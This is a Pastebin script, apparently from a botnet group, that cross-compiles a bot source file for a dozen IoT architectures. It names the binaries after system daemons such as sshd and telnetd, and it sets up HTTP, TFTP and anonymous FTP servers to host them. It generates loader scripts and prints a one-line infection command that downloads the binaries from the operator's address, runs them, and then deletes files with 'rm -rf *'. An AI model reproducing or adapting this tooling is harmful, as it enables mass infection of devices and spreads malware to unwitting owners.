KekSec

Python auto cross compiler for arch linux

Feb 3rd, 2017
471
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.94 KB | None | 0 0
  1. #Python auto cross compiler by void
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6. ip = sys.argv[2]
  7. else:
  8. print("\x1b[0;31mIncorrect Usage!")
  9. print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10. exit(1)
  11.  
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16. get_arch = True
  17. else:
  18. get_arch = False
  19.  
  20. compileas = ["ntpd", #mips
  21. "sshd", #mipsel
  22. "openssh", #sh4
  23. "bash", #x86
  24. "wget", #i686
  25. "cron", #ppc
  26. "ftp", #i586
  27. "pftp", #m68k
  28. "sh", #sparc
  29. "watchdog", #arm4l
  30. "apache2", #arm5l
  31. "telnetd"] #powerpc-440fp
  32.  
  33. getarch = ["http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2",
  34. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2",
  35. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2",
  36. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2",
  37. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2",
  38. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2",
  39. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2",
  40. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2",
  41. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2",
  42. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2",
  43. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2",
  44. "http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2"]
  45.  
  46. ccs = ["cross-compiler-mips",
  47. "cross-compiler-mipsel",
  48. "cross-compiler-sh4",
  49. "cross-compiler-x86_64",
  50. "cross-compiler-i686",
  51. "cross-compiler-powerpc",
  52. "cross-compiler-i586",
  53. "cross-compiler-m68k",
  54. "cross-compiler-sparc",
  55. "cross-compiler-armv4l",
  56. "cross-compiler-armv5l",
  57. "cross-compiler-powerpc-440fp"]
  58.  
  59. def run(cmd):
  60. subprocess.call(cmd, shell=True)
  61.  
  62. run("rm -rf /srv/http/* /var/lib/tftpboot/* /var/ftp/*")
  63.  
  64. if get_arch == True:
  65. run("rm -rf cross-compiler-*")
  66.  
  67. print("Downloading Architectures")
  68.  
  69. for arch in getarch:
  70. run("wget " + arch + " --no-check-certificate >> /dev/null")
  71. run("tar -xvf *tar.bz2")
  72. run("rm -rf *tar.bz2")
  73.  
  74. print("Cross Compilers Downloaded...")
  75.  
  76. num = 0
  77. for cc in ccs:
  78. arch = cc.split("-")[2]
  79. run("./"+cc+"/bin/"+arch+"-gcc -static -D" + arch.upper() + " -lpthread -o " + compileas[num] + " " + bot + " > /dev/null")
  80. num += 1
  81.  
  82. print("Cross Compiling Done!")
  83. print("Setting up your httpd and tftp")
  84.  
  85. run("yum install httpd -y")
  86. run("service httpd start")
  87. run("yum install xinetd tftp tftp-server -y")
  88. run("yum install vsftpd -y")
  89. run("service vsftpd start")
  90.  
  91. run('''echo -e "# default: off
  92. # description: The tftp server serves files using the trivial file transfer \
  93. # protocol. The tftp protocol is often used to boot diskless \
  94. # workstations, download configuration files to network-aware printers, \
  95. # and to start the installation process for some operating systems.
  96. service tftp
  97. {
  98. socket_type = dgram
  99. protocol = udp
  100. wait = yes
  101. user = root
  102. server = /usr/sbin/in.tftpd
  103. server_args = -s -c /var/lib/tftpboot
  104. disable = no
  105. per_source = 11
  106. cps = 100 2
  107. flags = IPv4
  108. }
  109. " > /etc/xinetd.d/tftp''')
  110. run("service xinetd start")
  111.  
  112. run('''echo -e "listen=YES
  113. local_enable=NO
  114. anonymous_enable=YES
  115. write_enable=NO
  116. anon_root=/var/ftp
  117. anon_max_rate=2048000
  118. xferlog_enable=YES
  119. listen_address='''+ ip +'''
  120. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  121. run("service vsftpd restart")
  122.  
  123. for i in compileas:
  124. run("cp " + i + " /srv/http")
  125. run("cp " + i + " /var/ftp")
  126. run("mv " + i + " /var/lib/tftpboot")
  127.  
  128. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  129.  
  130. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  131.  
  132. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  133.  
  134. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  135.  
  136. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  137.  
  138. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  139.  
  140. run('echo -e "#!/bin/bash" > /srv/http/bins.sh')
  141.  
  142. for i in compileas:
  143. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /srv/http/bins.sh')
  144. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  145. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  146. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  147.  
  148. run("service xinetd restart")
  149. run("service httpd restart")
  150. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  151.  
  152. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  153. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
  154. print
  155. print("\x1b[0;32mCoded By Void\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment